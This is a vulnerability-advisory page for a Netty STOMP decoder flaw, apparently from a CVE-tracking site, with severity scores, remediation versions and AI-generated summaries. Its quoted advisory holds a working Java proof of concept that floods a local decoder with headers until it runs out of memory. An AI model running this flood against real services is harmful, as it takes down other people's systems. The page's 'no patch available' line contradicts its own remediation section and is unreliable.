Skip to main content

Netty CVE-2026-44891

| EUVDEUVD-2026-45316 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-14 https://github.com/netty/netty GHSA-vhch-2wf3-m8rp
7.5
CVSS 3.1 · Vendor: https://github.com/netty/netty
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Connect to exposed STOMP endpoint
  2. Delivery
    Send frame with thousands of short headers
  3. Exploit
    Decoder accumulates unbounded headers in heap
  4. Execution
    JVM throws OutOfMemoryError
  5. Impact
    Service crash / denial of service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application actually deploys io.netty.handler.codec.stomp.StompSubframeDecoder on a network-reachable STOMP endpoint - that specific decoder in the pipeline is the concrete prerequisite. Given the CVSS vector (AV:N/AC:L/PR:N/UI:N), no authentication, user interaction, or special non-default configuration of the decoder is needed once the endpoint is reachable; setting maxLineLength does NOT mitigate it because the flaw is the missing total-header-count/size limit. The main limiting factor is exposure: applications that do not use the STOMP codec, or that keep the STOMP port on a trusted/internal network, are not remotely exploitable by outsiders.

Impact

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent with the description: an unauthenticated (PR:N) remote (AV:N) attacker with no user interaction (UI:N) can reliably cause an availability-only impact (C:N/I:N/A:H) with low complexity (AC:L). Publicly available exploit code exists, which raises practical exploitability, but no KEV listing or EPSS score is provided in the input, so there is no evidence of active or widespread exploitation - this reads as a genuine, easy-to-trigger DoS rather than a code-execution or data-breach issue. The real-world priority is moderated by exposure scope: only services that actually deploy StompSubframeDecoder on a reachable STOMP endpoint are affected, so the effective risk depends heavily on whether an application exposes STOMP externally. No key signals conflict; the main missing data are EPSS probability and any KEV status, which cannot be assumed present.

Exploit ScenarioDerived

An attacker opens a TCP connection to a service exposing a StompSubframeDecoder-based STOMP endpoint and sends a single STOMP frame stuffed with an enormous number of tiny headers (e.g. repeating 'a:1\n'). The decoder accumulates every header in memory until the JVM throws an OutOfMemoryError, crashing or hanging the service; a working PoC client/server is published in the advisory, and the low-complexity, unauthenticated network vector makes this trivial to reproduce.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 14, 2026

Denial of service in the Netty netty-codec-stomp module (versions 4.1.x up to 4.1.135.Final and 4.2.0.Alpha1 through 4.2.15.Final) allows a remote attacker to trigger an OutOfMemoryError and crash the JVM. The StompSubframeDecoder caps individual header line length via maxLineLength but never bounds the total header count or cumulative header size, so a single STOMP frame packed with thousands of short headers exhausts heap memory. Publicly available exploit code exists (a working client/server PoC is published in the GitHub Security Advisory), but there is no public evidence of active exploitation; EPSS/KEV signals are not present in the input.

RemediationAI

Vendor-released patch: upgrade to 4.2.16.Final on the 4.2 branch, or to 4.1.136.Final on the 4.1 branch, per the Netty advisory GHSA-vhch-2wf3-m8rp (https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp). Because Netty is usually a transitive dependency, verify the resolved version of io.netty:netty-codec-stomp in your build and force the fixed version if a framework pins an older one. If immediate patching is not possible, restrict network exposure of the STOMP endpoint (bind to trusted networks only, place it behind an authenticating gateway or firewall rules) to reduce the unauthenticated attack surface, and enforce a JVM heap and connection read-limit posture so a single connection cannot allocate unbounded memory - noting that these controls reduce but do not eliminate the OOM risk and may not stop an authorized-but-malicious client. Front-proxy request/header-size limits generally will not help because STOMP is not HTTP and the flood occurs inside the STOMP frame parser.

Affected VersionsENISA

netty < 4.1.136.Final
netty 4.2.0.Final, < 4.2.16.Final

Affected Packages

maven io.netty:netty-codec-stomp fix: 4.1.136.Final, 4.2.16.Final
euvd netty fix: 4.1.136.Final
euvd netty_4_2_0_final fix: 4.2.16.Final

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is io.netty.handler.codec.stomp.StompSubframeDecoder, Netty's decoder for the STOMP (Simple Text Oriented Messaging Protocol) messaging protocol, distributed as the Maven artifact io.netty:netty-codec-stomp (pkg:maven/io.netty:netty-codec-stomp). As STOMP frames are parsed, each header line is length-checked against maxLineLength, but parsed headers accumulate without limit inside a DefaultStompHeadersSubframe object. The root cause is CWE-400 (Uncontrolled Resource Consumption): there is no ceiling on the number of headers or their aggregate memory footprint per frame, so attacker-controlled input directly drives unbounded heap allocation. Netty is a high-performance asynchronous network application framework used as the transport layer in a very large number of JVM applications, though the STOMP codec specifically is an optional module used only where a STOMP endpoint is exposed.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/netty/netty) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Unauthenticated remote attacker sends a single crafted STOMP frame with low complexity and no user interaction, causing memory-exhaustion DoS with availability-only impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/netty/netty).

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

java
public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}
java
public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.netty:netty-codec-stomp (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

Executive ViewAI

Why It Matters

Netty's STOMP messaging module (versions 4.1.x through 4.1.135.Final and 4.2.0-4.2.15.Final) contains a memory exhaustion vulnerability that allows remote attackers to crash applications and disrupt service availability. Organizations using Netty for STOMP message processing face immediate risk of denial-of-service attacks; leadership should prioritize inventory and interim protections until a vendor patch becomes available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: enforce per-connection header count limits and cumulative header size caps at the application layer, implement upstream rate limiting and connection state monitoring, consider network segmentation to limit STOMP exposure, and enable heap memory alerting to detect exploitation attempts.

Threat Intelligence Overview

EPSS Score
0.7%
Top 51% exploitable
Prevalence
Medium
Netty is ubiquitous, but the optional STOMP codec module is deployed narrowly
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Development Tools 15 SP7 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy